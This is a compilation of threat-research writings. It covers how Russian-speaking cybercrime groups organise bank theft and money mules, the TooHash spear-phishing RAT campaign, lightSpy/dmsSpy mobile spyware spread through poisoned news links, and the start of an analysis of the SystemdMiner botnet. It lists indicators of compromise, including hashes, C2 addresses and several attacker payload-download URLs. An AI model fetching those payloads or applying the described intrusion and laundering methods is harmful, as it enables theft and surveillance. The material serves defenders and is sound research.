- Affiliate programs
- Single dealers, small and middle-sized groups (up to ten members)
- Large organized groups (ten or more participants)
This division is nominal. The scale of the group’s activity depends on the skillfulness of its participants, their ambition and the overall level of organizational abilities. In some cases, Kaspersky Lab experts came across relatively small criminal groups performing tasks that usually require a greater number of participants.
### Affiliate Programs
Affiliate programs are the easiest and least expensive method of getting involved in cybercrime activities. The idea behind an affiliate program is that the organizers provide their “affiliates” with almost all the tools they need to commit a crime. The task of the “affiliates” is to generate as many successful malware infections as possible. In return, the owner or owners of the affiliate program share the income received as a result of these infections with the affiliates. Depending on the type of fraudulent scheme this could be a share of:
- The sums stolen from the accounts of Internet banking users;
- The money paid by the user as a ransom when cybercriminals use ransomware Trojans;
- The money stolen from the “prepaid” accounts of mobile device users by sending out SMS messages to premium mobile numbers with the help of a malicious program.
Creating and supporting an affiliate program for the purpose of stealing money is a cybercrime committed, as a rule, by a group of users. However, such projects are often carried out by large organized groups whose activity is analyzed later in this document.
According to Kaspersky Lab experts, affiliate programs are becoming less popular with Russian-language cybercriminals. The main driver of their popularity had been fraudulent schemes used to infect users’ mobile devices with malicious programs which then sent out SMS messages to premium numbers. However, in the spring of 2014, the Russian regulator introduced new requirements for the organization of such services, which included a need to secure additional confirmation of subscription to a particular paid mobile service. This change was instrumental in reducing the number of malicious mobile partner programs to practically zero. Nevertheless, this type of joint cybercriminal activity is still used by groups specializing in the distribution of encrypting ransomware.
### Small Groups
What distinguishes this form of cybercriminal activity from an affiliate program is that in this instance the criminal or criminals organize their own fraudulent scheme. Most of the components needed for the attack, such as malware and its modifications (“re-packed” malware), the traffic, the servers, etc., are bought on the black market. Often, members of such groups are not experts in the field of computer and network technologies; they learn about the components and organization of financial attacks from public sources, usually forums. The abilities of such groups can be restricted by a number of factors.
Specifically, the use of widely-available malware results in rapid detection by security solutions. This, in turn, makes cybercriminals invest more money in the distribution of malware and in its “re-packing” to bypass detection. The end result is a significant drop in profits for the attacker.
Mistakes made by this type of cybercriminal often result in their identification and arrest. However, as a relatively low cost entry into the world of cybercriminal activity (from $200), this “amateur” format continues to attract new dealers.
An example of such an “amateur” criminal organization is the group that in 2012 was convicted by the Russian court for stealing more than 13 million rubles (then worth about $422,000) from a Russian bank’s online customers. During a comprehensive investigation Kaspersky Lab experts were able to collect the information that allowed law enforcement authorities to identify those behind the theft.
The court sentenced two members of the criminal group, giving each a suspended sentence of four and a half years. However, this verdict did not stop the criminals, and they continued to commit crimes, stealing almost as much again over the next two and a half years. They were re-arrested in May 2015.
### Large Organized Criminal Groups
Large criminal groups differ from the other players, both through a larger scale of activity and through a more thorough approach to the organization and operation of criminal schemes. Such groups can comprise up to several dozen people (not including money mules used for cashing and “laundering” money). The targets of their attacks are not limited to individual online banking customers: they also attack small and medium-sized companies, while the largest and most sophisticated of them, such as Carbanak focus mostly on banks and e-payment systems.
The operational structure of large groups differs significantly from smaller groups. To a certain extent, the structure reflects that of an ordinary, average-sized company engaged in software development.
In particular, large groups have some form of regular staff – a group of associates who perform organizational tasks in return for a regular, fixed payment. However, even in these large, professional groups some of the tasks are passed to third-party contractors. For example, the “re-packing” of malware can be performed by the staff or hired virus writers or via third-party services where the process is automated with the help of special software. The same is true for many other elements of the IT infrastructure required for committing crime.
Examples of large, organized criminal groups are Carberp, whose members were arrested in Russia and Ukraine in 2012 and 2013 respectively, and Carbanak, unmasked by Kaspersky Lab in early 2015.
Although the damage from the activity of partner programs and small groups can run into hundreds of thousands of dollars, the large criminal groups are the most dangerous and destructive. The estimated damage caused by Carberp reaches several hundred million dollars (up to a billion). In this regard, studying how these groups function and the tactics they use is extremely important, as it strengthens our ability to effectively investigate their activity and – ultimately – to suppress it.
## Distribution of Roles in a Large Cybercriminal Group
A major financial cybercrime undertaken by criminal “experts” in security and the finance sector can result in multi-million dollar losses for attacked organizations. As a rule, such crimes are preceded by many months of preparation. This preparation includes constructing complex infrastructure, and selecting and developing malicious software, as well as a thorough study of the target organization in order to clarify the details of its internal operations and security vulnerabilities. Each member of the criminal group has their own responsibilities.
The following role distribution is typical for a criminal group involved in stealing money. The distribution of roles in groups that specialize in other types of cybercrime may be different.
### Virus Writer/Programmer
A virus writer or programmer is responsible for creating malicious programs, i.e. the programs that allow the attackers to gain a foothold in the corporate network of the target organization, download additional malware that will help to obtain the necessary information, and ultimately steal money.
The significance of this group member and the nature of their relationship with the organizers may vary from group to group. For example, if the group uses ready-made malware taken from open sources or bought from other virus writers, their functions may be limited to setting and modifying malicious programs to work in the infrastructure created specifically for a certain cybercrime, or to adapt it for attacks on specific institutions. The most advanced groups, however, tend to rely on their own “developments” since it makes a malicious program less visible to most security solutions and provides more opportunities for malware modification. Where this is the case, the virus writer’s role becomes more important as they are responsible for the architecture and feature set of a malicious program.
A virus writer can also take on responsibility for malware “re-packing.” But this happens only when the organizer wants to keep the maximum number of tasks within the group, and where original software is used for malware “re-packing.” In most cases, however, this procedure is shifted to third-party contractors or packing-services.
### Testers
The function of testers in a criminal group is not that different from testers working in legal IT companies. In both cases, testers receive from their managers the specifications for testing programs in different environments (different versions of operating systems, different sets of installed applications, etc.) and execute them. If a fraudulent scheme involves fake interfaces of remote banking or e-payment systems, the task of testers also includes monitoring the correct operation of these fakes.
### Web Designers and Web Programmers
Typically, web designers and web programmers are remote employees, whose tasks include creating phishing pages and websites, fake application interfaces and web injects, all of which are used to steal data to get access to e-payment and e-banking systems.
### Distributors
Distributors aim to ensure the download of malicious software on as many devices as possible. The result is achieved by using several tools. Generally, the group organizer determines the profile of the users to be infected and buys the required type of traffic from the so-called traffic providers (services to attract users with certain characteristics to a particular website).
The organizer can choose and order a spam mailing that will contain either an infected attached file or a link taking a victim to a malicious website. The organizers can also choose the site with the necessary target audience; involve hackers in breaking into it and placing the exploit pack on it. Of course, all these tools can be used in combination with each other.
### Hackers
Often, in the course of an attack, the exploits and other malicious software the organizer has to hand is not enough to infect all the computers necessary for the attack and to anchor in them. It may become necessary to hack into a specific computer or site. In such cases, the organizers involve hackers, people who have considerable skills in information security and are able to perform non-standard tasks. In many of the cases examined by Kaspersky Lab experts, hackers were occasionally involved and were paid on a fee-for-service basis. However, if hacking is required regularly (e.g., for targeted attacks on financial institutions), a hacker becomes a “team member” and is often one of the cybercriminal group’s key participants, along with the organizers and money flow managers.
### System Administrators
System administrators in cybercriminal groups perform near-identical tasks to their counterparts in legitimate businesses: they implement the IT infrastructure and maintain it in working condition. Cybercriminal system administrators configure management servers, buy abuse-resistant hostings for servers, ensure the availability of tools for anonymous connection to the servers (VPN) and resolve other technical challenges, including the interaction with remote system administrators hired to perform small tasks.
### Call Services
Social engineering is important for the success of the cybercriminal business. Especially when it comes to attacks on organizations that result in the theft of huge sums of money. In most cases, even if the attackers are able to establish control over the computer from which the transaction could be performed, confirmation of its legitimacy is required to successfully complete the operation. This is what the “call service” is for. At the specified time, its “employees” play the role of an employee of the attacked organization or a bank with which the organization works, and confirm the legitimacy of the transaction.
“Call services” can participate in a particular cybercrime both as a subdivision of the criminal group, or as a third-party organization, performing a specific task on a fee-for-service basis. The forums that users involved in cybercrime use to communicate with each carry plenty of ads offering such services.
According to Kaspersky Lab, large cybercriminal groups prefer to have their own “call services” so they hardly ever turn to third-party providers.
### Money Flow Managers
Money flow managers are members of the cybercriminal group who come into play when all the technical tasks for organizing the attack (choosing and infecting the target and anchoring in its infrastructure) are fulfilled, and everything is ready to commit the theft. Money flow managers are the people who withdraw money from compromised accounts. However, their participation is not limited to pressing the keys; they play a key role in the whole process.
Money flow managers usually thoroughly understand the internal rules of the attacked organization (they even know the lunch hours of the employee from whose computer the fraudulent transaction will be made). They know how the automated anti-fraud systems operate and how to bypass them. In other words, in addition to their criminal role of thieves, money flow managers perform “expert” tasks that are difficult or impossible to automate. Perhaps because of this special status, money flow managers are one of the few members of the criminal group who receive a percentage of the stolen money rather than a fixed “salary.”
Money flow managers often perform as botnet operators, i.e. members of the criminal group who analyze and classify the information obtained from infected computers (the access to the remote banking services, availability of money on the accounts which could be accessed, the organization where the infected computer is located, etc.).
### Head of Mules (Mule Project Leader)
Head of mules is a representative of the criminal group working closely with the people involved in the process of stealing money. The function of the mules is to get the stolen money, cash it and transfer to the criminal group its due share. To do this, the head of mules builds their own infrastructure, which consists of legal entities and individuals with their own bank accounts, to which the stolen money is transferred and from which it is later withdrawn and moved into the pockets of the fraudsters.
The mule project leader cooperates with the organizer of the criminal group, and provides them with the numbers of the accounts to which the money loader sends the stolen money. Both mule project leaders and money flow managers work on commission which, according to the information obtained by Kaspersky Lab during the course of investigation, can amount to half the sum stolen.
### Mule Projects
Mule projects are a vital component of any financial cybercrime. Such groups comprise one or more organizers and up to several dozen individual mules. A mule (or drop) is a holder of a means of payment who, on command from the money mules manager, cashes the money received into their/an account, or transfers it to another account as specified by the money mules manager.
Mules can be divided into two types: duped and non-duped. Duped mules are people who, at least at the beginning of their cooperation with the money mules manager, do not realize they are involved in a criminal scheme. As a rule, the task of getting and transferring money is presented to them under some plausible pretext. For example, the money mules manager can establish a legal entity and appoint to an executive position (the general or financial director, for example) a person who will perform the functions of the duped mule: such as signing corporate documents which will, in fact serve as a legal screen for withdrawing stolen money.
Non-duped mules are well aware of the real purpose of the money mules manager’s tasks.
The options used by the mule projects to withdraw money are manifold. Depending on the amount of money stolen, they may include individual credit card holders ready to cash money and give it to the representative of the money mules manager for a small fee, or specially created legal entities, whose representatives open “salary projects” (credit cards for transferring the salaries of company employees) at their corporate bank.
Yet another common method for constructing a mule scheme is for non-duped mules to open dozens of accounts at different banks.
When the theft occurs outside of Russia, the role of the non-duped mules is performed by a citizen or group of citizens of an Eastern Europe country, who within a short period of time visit several countries on the continent and in each of them open accounts in their names. Then the non-dupe mules provide the money mules manager with the data to access all these accounts. These accounts are used later to withdraw the stolen money.
## Stuffers
The word “stuffer” comes from the word “stuff” (a colloquial word for “goods”). One way to withdraw stolen money is by buying goods in e-stores with the stolen money, reselling them and returning to the fraudsters their due percent. This is done by the stuffers, members of the cybercriminal groups engaged in spending money from compromised accounts on purchasing goods in online stores.
In fact, a stuffer is a variation of the money flow manager. Withdrawing money by purchasing goods is generally practiced if the stolen sums are relatively small. As a rule, the stuffers work in a team with the fences. Working “in tandem” often involves purchasing a certain type of goods, sometimes from a specific manufacturer or a clearly-defined model.
### Organizer
If we consider cybercrime as a project, the organizer of the criminal group is its general manager. Their duties usually include financing the preparatory phase of the attack, allocating tasks to executors, monitoring their performance and interacting with third-party agents such as mule projects and call services (if the group does not have its own). The organizer determines the targets for attacks, selects the necessary “specialists” and negotiates with them.
## Stages of the Attacks
It should be noted that the above classifications are not set in stone. In some cases, a single member of the criminal group can combine several roles. Nevertheless, regardless of how many people execute them, each of the roles described can be found when investigating almost every money-related cybercriminal incident. Here’s how they work in “real time.”
1. **Exploration**: When it comes to targeted attacks on a specific company, the organizer first instructs the contractors to collect information about the company, which will help to develop a plausible social engineering scheme for the first stage of attack. If we are talking about an attack on individual users, the preliminary exploration stage is skipped or limited to choosing a “target audience” for the attack (for example, the users of the online banking service of a specific bank) and creating phishing emails and phishing sites with relevant content.
2. **Infection**: Penetration of the corporate network is performed by spear-phishing or a phishing mass-mailing that contains an attachment with the special document or a malicious web-link. Opening the attachment or following the link leads to malware infection. Often, infection occurs automatically without the user’s awareness or participation – after clicking on the link, a malicious program is automatically downloaded on the user’s computer (drive-by download) and runs on it.
3. **Exploration and Implementation**: The programs for remote, hidden administration and management are downloaded onto compromised computers. They are used by cybercriminals to gain system administrators’ credentials. Legal programs for remote management and administration whose functionality is known to many users are often used for this.
4. **Money Theft**: In the final stage, cybercriminals access the financial systems of the targeted organization and transfer money from its accounts to the accounts of the mule projects or withdraw money directly at ATMs.
## Conclusion
Financial cybercrime backed by Russian-speaking criminals has become widespread in recent years and this growth is due to a number of causes. The main ones are:
- Not enough qualified staff in law enforcement agencies;
- Inadequate legislation allowing criminals in many cases to avoid responsibility or to receive a lighter sentence;
- A lack of established procedures for international cooperation between law enforcement agencies and expert organizations in different countries.
Unlike the real world, a robbery in cyberspace usually goes unnoticed and there is a very small window for collecting digital evidence after the crime. Further, criminals have no need to stay in the country where the crime is committed.
Unfortunately, for Russian-speaking cybercriminals current conditions are more than favorable: the risk of prosecution is low while the potential rewards are high. As a result, the number of crimes and the damage caused by them is growing, and the market for cybercriminal services is increasing momentum.
The lack of established mechanisms for international cooperation also plays into the hands of criminals: for example, Kaspersky Lab experts know that the members of some criminal groups permanently reside and work in Russia’s neighbors, while the citizens of the neighboring states involved in criminal activity often live and operate in the territory of the Russian Federation.
Kaspersky Lab is doing everything possible to terminate the activity of cybercriminal groups and encourages other companies and law enforcement agencies in all countries to cooperate. The international investigation of Carbanak’s activity, initiated by Kaspersky Lab, is the first example of successful international cooperation. If the world is to see a serious and positive change there should be more such cases. |
# G DATA SecurityLabs Case Study: Operation “TooHash”
## Executive Summary
The experts of G DATA’s SecurityLabs discovered a cyber-espionage campaign that perfectly exemplifies how targeted attacks work. The purpose of this campaign was to steal valuable documents from the targeted entity, which we entitle “TooHash.” The attackers’ modus operandi involves spear phishing using a malicious Microsoft Office document as an attachment. The attackers do not choose their targets indiscriminately, as evidenced by the specially crafted CV documents sent to human resources management employees. The majority of discovered samples were submitted from Taiwan, with documents in both Simplified and Traditional Chinese, indicating targets in the Greater China area.
## The Malware Used
The attached documents exploit a well-known vulnerability (CVE-2012-0158) to drop a remote administration tool (RAT) onto the targeted user’s computer. We identified two different pieces of malware, both including common cyber-espionage components such as code execution, file listing, and document exfiltration. More than 75 command and control servers were discovered, mainly located in Hong Kong and the USA. The administration panel’s language was partly written in Chinese and partly in English. The exploit is identified and blocked by G DATA’s Exploit Protection technology, and the dropped binaries are detected as Win32.Trojan.Cohhoc.A and Win32.Trojan.DirectsX.A.
## Information Stealing
Trade secrets represent a major value for almost every company, making them targets for competitors. The leak of sensitive documents can lead to significant financial losses, and governmental entities may also seek to obtain such documents.
## Campaign Analysis
### Targets
The analyzed samples used in the “TooHash” campaign were Microsoft Office documents submitted by a Taiwanese customer. One document contained the string “102年尾牙,” indicating a target area in Taiwan, as the official calendar starts in 1912. The targets are likely entities located in the Greater China area, as suggested by another document titled “李辉简历.doc” (resume of Li Hui). The DNS name of the C&C server contained information about affected companies, including public research organizations, space research organizations, telecom companies, and private companies.
### Spear Phishing Campaign
The attackers carried out a spear phishing campaign by sending a Microsoft Office document to the victim, likely targeting HR departments. If opened with an outdated Microsoft Office version, malware is installed by exploiting CVE-2012-0158. The attackers selected targeted users and document types carefully, using titles such as:
- 文件列表.xls (file list)
- 李辉简历.doc (resume of Li Hui)
- 102年尾牙、103年春酒精緻菜單.xls (End of the year 102, year 103 Spring Menu)
### The Exploit Used
The exploit causes Microsoft Word to crash, but a legitimate Word session opens shortly after, making it appear normal to the user. The CV that accompanies the legitimate Word document is written in Chinese characters and style used in the Chinese mainland.
### Tracking System
The resume visible to the user holds a tracking mechanism, notifying the attacker about the successful exploit and the availability of a newly infected machine. Two types of malware were identified: Cohhoc (a classic RAT) and DirectsX (a rootkit), both sharing the same command and control infrastructure.
## Malware Analysis 1: “Cohhoc”, the RAT
### Components
The malware consists of three parts:
1. **Component 1**: The dropper, which installs the second component and is removed after execution.
2. **Component 2**: A binary that unpacks and executes the third component.
3. **Component 3**: The payload, the core of the malware.
### Variants
Two variants of “Cohhoc” were identified, distinguished by the creation of respective mutexes:
- H2_COMMON_DLL (before September 2013)
- NEW_H2_COMMON_DLL (after September 2013)
### Persistence
Persistence is ensured by creating a shortcut file labeled as Internet Explorer.lnk in the Start Menu folder, which points to a different program (conime.exe).
### Features
The “Cohhoc” malware can:
- Execute commands or scripts
- Download and upload files
- Collect information about the infected system
- Find specific documents to send to command and control servers
### Obfuscation Layer
The malware uses an obfuscation layer to disguise itself and complicate analysis, encoding command and control communications and data.
### Network Communication
The malware communicates with command and control servers using HTTP, transmitting various data, including the current date and time, hostname, domain, username, and operating system version.
## Malware Analysis 2: “DirectsX”, the Rootkit
### Dropper
The dropper installs two files: DirectsX.sys (the malicious driver) and directsx (the encoded payload). Persistence is achieved through a service created by the dropper.
### Binary Signature
Both the dropper and driver are signed by a stolen certificate, previously reported in APT attacks.
### The Driver
The driver decodes the content of the directsx file and injects the payload into a userland process, targeting processes of popular security products or explorer.exe if those processes are not running.
### Injected DLL
The injected DLL, signed with the same certificate, allows attackers to execute code, download files, gather information, and steal data.
## Command and Control Servers
Over 75 different servers were identified, mainly located in Hong Kong and the USA. The attackers used domain names to mislead users and security teams.
## Attribution
The attackers behind this campaign remain unidentified, but the use of a stolen certificate could point to the Shiqiang group. The attackers targeted both private businesses and governmental organizations, indicating a professional and organized group.
## Conclusion
This campaign demonstrates the sophisticated methods used to steal data from organizations. The technology can easily be used against entities globally, and the increasing value of trade secrets suggests that such campaigns will likely rise in the future. Organizations must enhance security measures and educate users about potential risks.
## Appendix: IOC
### Hashes
Documents:
- 8d263d5dae035e3d97047171e1cbf841 (102年尾牙、103年春酒精緻菜單.xls)
- 7251073c67db6421049ee2baf4f31b62 (李辉简历.doc)
- 2ec306ef507402037e9c1eeb81276152 (文件列表.xls)
- 6b83319cf336179f2105999fe586242c (Wo.doc)
Cohhoc samples:
- 0c0a3784c3530e820f57da076ea1fc8b
- b45caf646f94ace23cfa367c5d202944
- d4691e06bca3a32c9283d2787b0e40b3
- ... (additional hashes)
DirectsX samples:
- 22b955536f27b397f68f22172f8496c2
- ecc8245568b5dc1d74d0be6073eafa2d
- ... (additional hashes)
### File Names
Cohhoc:
- %USERPROFILE%\Start Menu\Programs\Startup\Internet Explorer.lnk
- %APPDATA%\Microsoft\conime.exe
- ... (additional file names)
DirectsX:
- %SystemRoot%\System\directsx.sys
- ... (additional file names)
### DNS
- *.cnnic-micro.com
- *.adobeservice.net
- ... (additional domains)
### IPs
For information about the IPs involved, please contact us. |
# Operation Poisoned News: Hong Kong Users Targeted With Mobile Malware via Local News Links
**Posted on:** March 24, 2020 at 5:01 am
**Posted in:** Malware, Mobile
**Author:** Trend Micro
A recently discovered watering hole attack has been targeting iOS users in Hong Kong. The campaign uses links posted on multiple forums that supposedly lead to various news stories. While these links lead users to the actual news sites, they also use a hidden iframe to load and execute malicious code. The malicious code contains exploits that target vulnerabilities present in iOS 12.1 and 12.2. Users that click on these links with at-risk devices will download a new iOS malware variant, which we have called **lightSpy** (detected as IOS_LightSpy.A).
The malware variant is a modular backdoor that allows the threat actor to remotely execute shell commands and manipulate files on the affected device. This would allow an attacker to spy on a user’s device, as well as take full control of it. It contains different modules for exfiltrating data from the infected device, which includes:
- Connected WiFi history
- Contacts
- GPS location
- Hardware information
- iOS keychain
- Phone call history
- Safari and Chrome browser history
- SMS messages
Information about the user’s network environment is also exfiltrated from the target device:
- Available WiFi network
- Local network IP addresses
Messenger applications are also specifically targeted for data exfiltration. Among the apps specifically targeted are:
- Telegram
- QQ
- WeChat
Our research also uncovered a similar campaign aimed at Android devices in 2019. Links to malicious .APK files were found on various public Hong Kong-related Telegram channels. These messages claimed they were for various legitimate apps, but they led to malicious apps that could exfiltrate device information, contacts, and SMS messages. We called this Android malware family **dmsSpy** (variants of dmsSpy are detected as AndroidOS_dmsSpy.A).
The design and functionality of the operation suggest that the campaign isn’t meant to target victims, but aims to compromise as many mobile devices as possible for device backdooring and surveillance. We named the campaign **Operation Poisoned News** based on its distribution methods.
## Distribution: Poisoned News and Watering Holes
On February 19, we identified a watering hole attack targeting iOS users. The URLs used led to a malicious website created by the attacker, which in turn contained three iframes that pointed to different sites. The only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.
Links to these malicious sites were posted on four different forums, all known to be popular with Hong Kong residents. These forums also provide their users with an app, so that their readers can easily visit it on their mobile devices. Poisoned News posted its links in the general discussion sections of the said forums. The post would include the headline of a given news story, any accompanying images, and the (fake) link to the news site.
The articles were posted by newly registered accounts on the forums in question, which leads us to believe that these posts were not made by users resharing links that they thought were legitimate. The topics used as lures were either sex-related, clickbait-type headlines, or news related to the COVID-19 disease. We do not believe that these topics were targeted at any users specifically; instead, they targeted the users of the sites as a whole.
Aside from the above technique, we also saw a second type of watering hole website. In these cases, a legitimate site was copied and injected with a malicious iframe. Our telemetry indicates that the distribution of links to this type of watering hole in Hong Kong started on January 2. However, we do not know where these links were distributed.
These attacks continued into March 20, with forum posts that supposedly linked to a schedule for protests in Hong Kong. The link would instead lead to the same infection chain as in the earlier cases.
## Infection Chain
The exploit used in this attack affects iOS 12.1 and 12.2. It targets a variety of iPhone models, from the iPhone 6S up to the iPhone X. The full exploit chain involves a silently patched Safari bug (which works on multiple recent iOS versions) and a customized kernel exploit. Once the Safari browser renders the exploit, it targets a bug (which Apple silently patched in newer iOS versions), leading to the exploitation of a known kernel vulnerability to gain root privileges. The kernel bug is connected to CVE-2019-8605. The silently patched Safari bug does not have an associated CVE, although other researchers mentioned a history of failed patches related to this particular issue.
Once the device is compromised, the attacker installs an undocumented and sophisticated spyware for maintaining control over the device and exfiltrating information. The spyware used a modular design with multiple capabilities, including the following:
- Modules update
- Remote command dispatch per module
- Complete shell command module
Many of this spyware’s modules were designed explicitly for data exfiltration; for example, modules that steal information from Telegram and WeChat are both included.
We chose to give this new threat the name **lightSpy**, from the name of the module manager, which is light. We also note that a decoded configuration file that the launchctl module uses includes a URL that points to a /androidmm/light location, which suggests that an Android version of this threat exists as well.
One more note: The file payload.dylib is signed with the legitimate Apple developer certificate, and was only done so on November 29, 2019. This places a definite timestamp on the start of this campaign’s activity.
## Overview of Malicious Behavior of lightSpy
This section of the blog post provides a short overview of lightSpy and its associated payloads. However, we provided more technical details in the technical brief.
When the kernel exploit is triggered, payload.dylib proceeds to download multiple modules. Some of these modules are associated with startup and loading. For example, launchctl is a tool used to load or unload daemons/agents, and it does this using ircbin.plist as an argument. This daemon, in turn, executes irc_loader, but (as the name implies) it is just a loader for the main malware module, light. It does, however, contain the hardcoded location of the C&C server.
The light module serves as the main control for the malware and is capable of loading and updating the other modules. The remaining modules are designed to extract and exfiltrate different types of data, as seen in the following list:
- dylib – acquires and uploads basic information such as iPhone hardware information, contacts, text messages, and call history
- ShellCommandaaa – executes shell commands on the affected device; any results are serialized and uploaded to a specified server
- KeyChain – steals and uploads information contained in the Apple KeyChain
- Screenaaa – scans for and pings devices on the same network subnet as the affected device; the ping’s results are uploaded to the attackers
- SoftInfoaaa – acquires the list of apps and processes on the device
- FileManage – performs file system operations on the device
- WiFiList – acquires the saved Wi-Fi information (saved networks, history, etc.)
- browser – acquires the browser history from both Chrome and Safari
- Locationaaa – gets the user’s location
- ios_wechat – acquires information related to WeChat, including: account information, contacts, groups, messages, and files
- ios_qq – similar to the ios_wechat module, but for QQ
- ios_telegram – similar to the previous two modules, but for Telegram
Taken together, this threat allows the threat actor to thoroughly compromise an affected device and acquire much of what a user would consider confidential information. Several chat apps popular in the Hong Kong market were particularly targeted here, suggesting that these were the threat actor’s goals.
## Overview of dmsSpy
As noted earlier in this blog post, there is an Android counterpart to lightSpy which we have called dmsSpy. These variants were distributed in public Telegram channels disguised as various apps in 2019. While the links were already invalid during our research, we were able to obtain a sample of one of the variants.
Our sample was advertised as a calendar app containing protest schedules in Hong Kong. It contains many features that we frequently see in malicious apps, such as requests for sensitive permissions, and the transmission of sensitive information to a C&C server. This includes seemingly safe information such as the device model used, but includes more sensitive information such as contacts, text messages, the user’s location, and the names of stored files. dmsSpy also registers a receiver for reading newly received SMS messages, as well as dialing USSD codes.
We were able to obtain more information about dmsSpy because the threat actors behind it erroneously left the debug mode of their web framework activated. This allowed us a peek of the APIs used by the server. It suggests further capabilities we did not see in our sample, including screenshots and the ability to install APK files onto the device.
We believe that these attacks are related. dmsSpy’s download and command-and-control servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component of Poisoned News. (They did use differing subdomains, however). As a result, we believe that this particular Android threat is operated by the same group of threat actors and is connected to Poisoned News.
## Vendor statements
We reached out to the various vendors mentioned in this blog post. Tencent had this to say:
"This report by Trend Micro is a great reminder of why it’s important to keep the operating system on computers and mobile devices up to date. The vulnerabilities documented in the report, which affected the Safari web browser in iOS 12.1 and 12.2, were fixed in subsequent updates to iOS. A very tiny percentage of our WeChat and QQ users were still running the older versions of iOS that contained the vulnerability. We have already issued a reminder to these users to update their devices to the latest version of iOS as soon as possible. Tencent takes data security extremely seriously and will continue to strive to ensure that our products and services are built on robust, secure platforms designed to keep user data safe."
Apple has also been notified of this research through Trend Micro’s Zero Day Initiative (ZDI). We also reached out to Telegram on our findings and have not received a response at the time of publication.
## Best practices and solutions
Several steps could have been taken by users to mitigate against this threat. For iOS users, the most important would be to keep their iOS version updated. Updates that would have resolved this problem have been available for more than a year, meaning that a user who had kept their device on the latest update would have been safe from the vulnerability that this threat exploits.
For Android users, the samples we obtained were distributed via links in Telegram channels, outside of the Google Play store. We strongly recommend that users avoid installing apps from outside trusted app stores, as apps distributed in this manner are frequently laden with malicious code.
Users can also install security solutions, such as the Trend Micro™ Mobile Security for iOS and Trend Micro™ Mobile Security for Android™ (also available on Google Play) solutions, that can block malicious apps. End users can also benefit from their multilayered security capabilities that secure the device owner’s data and privacy, and features that protect them from ransomware, fraudulent websites, and identity theft.
For organizations, the Trend Micro™ Mobile Security for Enterprise suite provides device, compliance and application management, data protection, and configuration provisioning. The suite also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps and detects and blocks malware and fraudulent websites. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
Indicators of compromise and full technical details of this attack may be found in the accompanying technical brief. |
# 日本企業を狙う高度なサイバー攻撃の全貌
企業内システムに潜む脅威を狩り出す「標的型攻撃ハンティングサービス」を日本において実施した結果、複数の日本企業に対して同一サイバー攻撃グループによるものと思われる標的型攻撃が行われていることが観測され、深刻な被害につながっていることが確認されました。
この標的型攻撃の活動として、2015年に顕在化した日本年金機構を含む複数の国内組織が被害に遭った標的型攻撃(Emdiviマルウェアを使った攻撃)と同様に、いくつかの国内組織におけるシステムの奥深くまで侵入しているものが多く発見されています。被害に遭った企業組織の多くは、警察など第三者から通報があるまで標的型攻撃を受けていることを認識できず、気づいた時点ではすでに長期間にわたり侵入が繰り返されており、多くの知的財産情報窃取やActive Directoryの侵害といった致命的な状況も珍しくありません。
被害企業組織にとって困難な点は、標的型攻撃の手法が一般的な監視や検知の仕組みを迂回する高度なものであり、さらに時間をかけて繰り返し侵入を行うことにより、最終的に組織のネットワークシステム全体に跨る大規模な攻撃となるため、攻撃活動の根絶に多大な時間と労力を要することです。
高度かつ悪質なサイバー攻撃が攻勢をかける環境下において、打つ手のない企業組織側の状況を少しでも改善し、サイバー攻撃グループから自組織および保有する重要な情報を守るために、SecureWorks Japan は本ホワイトペーパーを作成しました。本レポートでは、近年日本企業を執拗に狙う標的型攻撃の実態を明らかにするとともに、検知困難な高度なサイバー攻撃に気づくこと、また自組織でしかるべき取り組みを行うために有益な情報を提供します。 |
# SystemdMiner: When a Botnet Borrows Another Botnet’s Infrastructure
**JiaYu**
**May 7, 2019**
**Category: Botnet**
## Update (2019.4.26 17:30)
About 3 hours after the release of this article, we found that the attacker took down the URL of some payload downloads. The following URLs have expired:
- aptgetgxqs3secda.onion.ly/systemd-cron.sh
- aptgetgxqs3secda.onion.pet/systemd-cron.sh
- aptgetgxqs3secda.onion.ly/systemd-login-ddg
- aptgetgxqs3secda.onion.pet/systemd-login-ddg
- aptgetgxqs3secda.onion.ly/systemd-resolve
- aptgetgxqs3secda.onion.pet/systemd-resolve
- aptgetgxqs3secda.onion.ly/systemd.sh
- aptgetgxqs3secda.onion.pet/systemd.sh
- aptgetgxqs3secda.onion.ly/systemd-analyze
- aptgetgxqs3secda.onion.pet/systemd-analyze
- rapid7cpfqnwxodo.onion.ly/systemd-login-h
- rapid7cpfqnwxodo.onion.pet/systemd-login-h
## 1. Overview
On Apr 11, we published a threat update on the DDG.Mining Botnet here with the following active C2:
- 119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
Then in the early morning of 2019.4.19, we found that DDG updated its configuration data and the malicious shell script `i.sh` from this C2. At the end of the `i.sh` script, a new shell script section was added.
The new shell script downloads a new set of malicious programs. Interestingly, these new programs run independently from the DDG infrastructure. It also kills the DDG process and clears out the DDG cron configuration. Shortly after these new malicious programs appeared, the above-mentioned main DDG C2 went offline.
We named this new botnet SystemdMiner, as multiple components of these malicious programs use `systemd-<XXX>` as their names. This botnet uses three means to spread itself, and after a successful compromise, a mining program based on XMRig will be downloaded for profit making.
Although the above-mentioned main DDG C2 came offline, the DDG botnet did not die. Thanks to its P2P network structure and two standby C2s, the DDG botnet is still alive, with 3000+ active P2P nodes per day.
In the early morning of 4.25, DDG came back online with 2 new C2s and upgraded its version number to v4000. The configuration data version is CfgVer:25. This latest update blocks the SystemdMiner’s C2 in the hosts file and starts to use the following 2 new C2s:
- 109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
- 104.128.230.16 AS62217|VooServers_Ltd|United States|New York
SystemdMiner is completely different from DDG in terms of C2 infrastructure, network structure, malicious code technical details, propagation methods, cryptomining machine programs, etc.:
- The DDG infrastructure consists of one primary C2 IP and two or three standby C2 IPs, while the SystemdMiner infrastructure is in the dark network and makes them accessible through services like tor2web (and cryptomining pool proxy IP).
- The current network structure of DDG is a hybrid structure—a combination of a set of C2 IPs and P2P network, and the network structure of SystemdMiner is a traditional C/S structure.
